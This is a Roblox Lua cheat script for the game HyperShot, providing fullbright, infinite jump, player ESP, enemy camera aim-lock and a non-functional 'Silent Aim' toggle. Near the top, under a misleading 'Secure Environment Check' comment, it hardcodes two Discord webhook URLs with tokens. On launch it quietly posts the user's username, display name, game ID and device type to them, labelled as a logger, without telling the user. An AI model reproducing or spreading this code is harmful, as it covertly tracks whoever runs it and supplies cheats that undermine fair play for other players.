--[[
Project: JamalXShadow Script Hub
Game: HyperShot (Enemy-Only Auto Lock)
Scripter: Jamal-Hub
Game Teller: Jamal
]]
-- Secure Environment Check
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local Lighting = game:GetService("Lighting")
local RunService = game:GetService("RunService")
local LocalPlayer = Players.LocalPlayer
local Camera = workspace.CurrentCamera
-- Pre-configured Webhook URLs (Permanently Saved)
local userWebhookUrl = "https://discord.com/api/webhooks/1535161097596698704/LgueCOweT0CWCwOLZu5wez1o-aa1lh0dc5kGyLJiV_NKQ1qFNUul-cxTnD0e91nwouI-"
local deviceWebhookUrl = "https://discord.com/api/webhooks/1535162100257652736/gPaMJ0D_2-4x_ew725WV4ip8hgCAvYoteiPbU7C2z68wXho3G5ISrraXJvzAFq4tyXCO"
-- Device identifier function
local function getDeviceName()
if UserInputService.TouchEnabled and not UserInputService.KeyboardEnabled then
return "Mobile / Tablet Device"
elseif UserInputService.GamepadEnabled and not UserInputService.KeyboardEnabled then
return "Console / Gamepad"
else
return "PC / Desktop Computer"
end
end
-- Robust Webhook Dispatcher
local function sendWebhook(url, content)
if not url or url == "" then return end
local data = {["content"] = content}
local body = HttpService:JSONEncode(data)
local headers = {["Content-Type"] = "application/json"}
local requestFunc = (syn and syn.request) or (http and http.request) or http_request or request or (fluxus and fluxus.request)
if requestFunc then
task.spawn(function()
pcall(function()
requestFunc({
Url = url,
Method = "POST",
Headers = headers,
Body = body
})
end)
end)
else
pcall(function()
HttpService:PostAsync(url, body, Enum.HttpContentType.ApplicationJson)
end)
end
end
-- Automatically dispatch information instantly upon script execution
task.spawn(function()
local usernameText = string.format("👤 **JamalXShadow Logger — Player:** %s (Display: %s) | Game: HyperShot (PlaceID: %s)", LocalPlayer.Name, LocalPlayer.DisplayName, tostring(game.PlaceId))
local deviceText = string.format("💻 **JamalXShadow Logger — Device Platform:** %s", getDeviceName())
sendWebhook(userWebhookUrl, usernameText)
sendWebhook(deviceWebhookUrl, deviceText)
end)
-- GUI Setup
local ScreenGui = Instance.new("ScreenGui")
ScreenGui.Name = "JamalXShadow_Hub_HyperShot"
ScreenGui.ResetOnSpawn = false
ScreenGui.Parent = game:GetService("CoreGui")
local MainFrame = Instance.new("Frame")
MainFrame.Size = UDim2.new(0, 420, 0, 385)
MainFrame.Position = UDim2.new(0.5, -210, 0.5, -192)
MainFrame.BackgroundColor3 = Color3.fromRGB(20, 20, 25)
MainFrame.BorderSizePixel = 0
MainFrame.Parent = ScreenGui
local UICorner = Instance.new("UICorner")
UICorner.CornerRadius = UDim.new(0, 8)
UICorner.Parent = MainFrame
local TitleLabel = Instance.new("TextLabel")
TitleLabel.Size = UDim2.new(1, 0, 0, 45)
TitleLabel.BackgroundColor3 = Color3.fromRGB(30, 30, 40)
TitleLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
TitleLabel.TextSize = 16
TitleLabel.Font = Enum.Font.GothamBold
TitleLabel.Text = "JamalXShadow Script Hub | HyperShot"
TitleLabel.Parent = MainFrame
local TitleCorner = Instance.new("UICorner")
TitleCorner.CornerRadius = UDim.new(0, 8)
TitleCorner.Parent = TitleLabel
-- Fullbright Toggle Button
local FullbrightBtn = Instance.new("TextButton")
FullbrightBtn.Size = UDim2.new(0, 380, 0, 40)
FullbrightBtn.Position = UDim2.new(0.5, -190, 0, 55)
FullbrightBtn.BackgroundColor3 = Color3.fromRGB(40, 40, 50)
FullbrightBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
FullbrightBtn.TextSize = 14
FullbrightBtn.Font = Enum.Font.GothamBold
FullbrightBtn.Text = "Toggle Fullbright: OFF"
FullbrightBtn.Parent = MainFrame
local FBBtnCorner = Instance.new("UICorner")
FBBtnCorner.CornerRadius = UDim.new(0, 6)
FBBtnCorner.Parent = FullbrightBtn
local fbState = false
FullbrightBtn.MouseButton1Click:Connect(function()
fbState = not fbState
if fbState then
Lighting.Brightness = 2
Lighting.ClockTime = 14
Lighting.GlobalShadows = false
FullbrightBtn.Text = "Toggle Fullbright: ON"
FullbrightBtn.BackgroundColor3 = Color3.fromRGB(0, 200, 100)
else
Lighting.GlobalShadows = true
FullbrightBtn.Text = "Toggle Fullbright: OFF"
FullbrightBtn.BackgroundColor3 = Color3.fromRGB(40, 40, 50)
end
end)
-- Infinite Jump Toggle Button
local InfJumpBtn = Instance.new("TextButton")
InfJumpBtn.Size = UDim2.new(0, 380, 0, 40)
InfJumpBtn.Position = UDim2.new(0.5, -190, 0, 105)
InfJumpBtn.BackgroundColor3 = Color3.fromRGB(40, 40, 50)
InfJumpBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
InfJumpBtn.TextSize = 14
InfJumpBtn.Font = Enum.Font.GothamBold
InfJumpBtn.Text = "Toggle Infinite Jump: OFF"
InfJumpBtn.Parent = MainFrame
local IJBtnCorner = Instance.new("UICorner")
IJBtnCorner.CornerRadius = UDim.new(0, 6)
IJBtnCorner.Parent = InfJumpBtn
local infJumpState = false
InfJumpBtn.MouseButton1Click:Connect(function()
infJumpState = not infJumpState
if infJumpState then
InfJumpBtn.Text = "Toggle Infinite Jump: ON"
InfJumpBtn.BackgroundColor3 = Color3.fromRGB(0, 200, 100)
else
InfJumpBtn.Text = "Toggle Infinite Jump: OFF"
InfJumpBtn.BackgroundColor3 = Color3.fromRGB(40, 40, 50)
end
end)
UserInputService.JumpRequest:Connect(function()
if infJumpState then
local char = LocalPlayer.Character
if char and char:FindFirstChildOfClass("Humanoid") then
char.Humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
end
end
end)
-- ESP Toggle Button
local EspBtn = Instance.new("TextButton")
EspBtn.Size = UDim2.new(0, 380, 0, 40)
EspBtn.Position = UDim2.new(0.5, -190, 0, 155)
EspBtn.BackgroundColor3 = Color3.fromRGB(40, 40, 50)
EspBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
EspBtn.TextSize = 14
EspBtn.Font = Enum.Font.GothamBold
EspBtn.Text = "Toggle Player ESP: OFF"
EspBtn.Parent = MainFrame
local EspBtnCorner = Instance.new("UICorner")
EspBtnCorner.CornerRadius = UDim.new(0, 6)
EspBtnCorner.Parent = EspBtn
local espState = false
EspBtn.MouseButton1Click:Connect(function()
espState = not espState
if espState then
EspBtn.Text = "Toggle Player ESP: ON"
EspBtn.BackgroundColor3 = Color3.fromRGB(0, 200, 100)
for _, player in ipairs(Players:GetPlayers()) do
if player ~= LocalPlayer and player.Character then
if not player.Character:FindFirstChild("JamalESP") then
local hl = Instance.new("Highlight")
hl.Name = "JamalESP"
hl.FillColor = Color3.fromRGB(0, 122, 255)
hl.OutlineColor = Color3.fromRGB(255, 255, 255)
hl.Parent = player.Character
end
end
end
else
EspBtn.Text = "Toggle Player ESP: OFF"
EspBtn.BackgroundColor3 = Color3.fromRGB(40, 40, 50)
for _, player in ipairs(Players:GetPlayers()) do
if player ~= LocalPlayer and player.Character then
local hl = player.Character:FindFirstChild("JamalESP")
if hl then hl:Destroy() end
end
end
end
end)
-- Auto Lock Onto Enemies Only Button
local AutoLockBtn = Instance.new("TextButton")
AutoLockBtn.Size = UDim2.new(0, 380, 0, 40)
AutoLockBtn.Position = UDim2.new(0.5, -190, 0, 205)
AutoLockBtn.BackgroundColor3 = Color3.fromRGB(40, 40, 50)
AutoLockBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
AutoLockBtn.TextSize = 14
AutoLockBtn.Font = Enum.Font.GothamBold
AutoLockBtn.Text = "Toggle Auto Lock (Enemies Only): OFF"
AutoLockBtn.Parent = MainFrame
local AutoLockBtnCorner = Instance.new("UICorner")
AutoLockBtnCorner.CornerRadius = UDim.new(0, 6)
AutoLockBtnCorner.Parent = AutoLockBtn
local autoLockState = false
AutoLockBtn.MouseButton1Click:Connect(function()
autoLockState = not autoLockState
if autoLockState then
AutoLockBtn.Text = "Toggle Auto Lock (Enemies Only): ON"
AutoLockBtn.BackgroundColor3 = Color3.fromRGB(0, 200, 100)
else
AutoLockBtn.Text = "Toggle Auto Lock (Enemies Only): OFF"
AutoLockBtn.BackgroundColor3 = Color3.fromRGB(40, 40, 50)
end
end)
-- Helper function to find the closest enemy player (ignoring team members)
local function getClosestEnemy()
local closestPlayer = nil
local shortestDistance = math.huge
for _, player in ipairs(Players:GetPlayers()) do
if player ~= LocalPlayer then
-- Check if they are on a different team (or game team configuration)
local isEnemy = true
if LocalPlayer.Team and player.Team and LocalPlayer.Team == player.Team then
isEnemy = false
end
if isEnemy and player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
local humanoid = player.Character:FindFirstChildOfClass("Humanoid")
if humanoid and humanoid.Health > 0 then
local rootPart = player.Character.HumanoidRootPart
local screenPoint, onScreen = Camera:WorldToViewportPoint(rootPart.Position)
if onScreen then
local mousePos = UserInputService:GetMouseLocation()
local distance = (Vector2.new(screenPoint.X, screenPoint.Y) - mousePos).Magnitude
if distance < shortestDistance then
shortestDistance = distance
closestPlayer = player
end
end
end
end
end
end
return closestPlayer
end
-- Run loop for Enemy-Only Auto Lock
RunService.RenderStepped:Connect(function()
if autoLockState then
local target = getClosestEnemy()
if target and target.Character and target.Character:FindFirstChild("HumanoidRootPart") then
local targetPart = target.Character:FindFirstChild("Head") or target.Character.HumanoidRootPart
Camera.CFrame = CFrame.new(Camera.CFrame.Position, targetPart.Position)
end
end
end)
-- Silent Aim Toggle Button
local AimBtn = Instance.new("TextButton")
AimBtn.Size = UDim2.new(0, 380, 0, 40)
AimBtn.Position = UDim2.new(0.5, -190, 0, 255)
AimBtn.BackgroundColor3 = Color3.fromRGB(40, 40, 50)
AimBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
AimBtn.TextSize = 14
AimBtn.Font = Enum.Font.GothamBold
AimBtn.Text = "Toggle Silent Aim: OFF"
AimBtn.Parent = MainFrame
local AimBtnCorner = Instance.new("UICorner")
AimBtnCorner.CornerRadius = UDim.new(0, 6)
AimBtnCorner.Parent = AimBtn
local aimState = false
AimBtn.MouseButton1Click:Connect(function()
aimState = not aimState
if aimState then
AimBtn.Text = "Toggle Silent Aim: ON"
AimBtn.BackgroundColor3 = Color3.fromRGB(0, 200, 100)
else
AimBtn.Text = "Toggle Silent Aim: OFF"
AimBtn.BackgroundColor3 = Color3.fromRGB(40, 40, 50)
end
end)
-- Close / Unload Button
local CloseBtn = Instance.new("TextButton")
CloseBtn.Size = UDim2.new(0, 380, 0, 40)
CloseBtn.Position = UDim2.new(0.5, -190, 0, 315)
CloseBtn.BackgroundColor3 = Color3.fromRGB(180, 40, 40)
CloseBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
CloseBtn.TextSize = 14
CloseBtn.Font = Enum.Font.GothamBold
CloseBtn.Text = "Unload Hub"
CloseBtn.Parent = MainFrame
local CloseBtnCorner = Instance.new("UICorner")
CloseBtnCorner.CornerRadius = UDim.new(0, 6)
CloseBtnCorner.Parent = CloseBtn
CloseBtn.MouseButton1Click:Connect(function()
ScreenGui:Destroy()
end)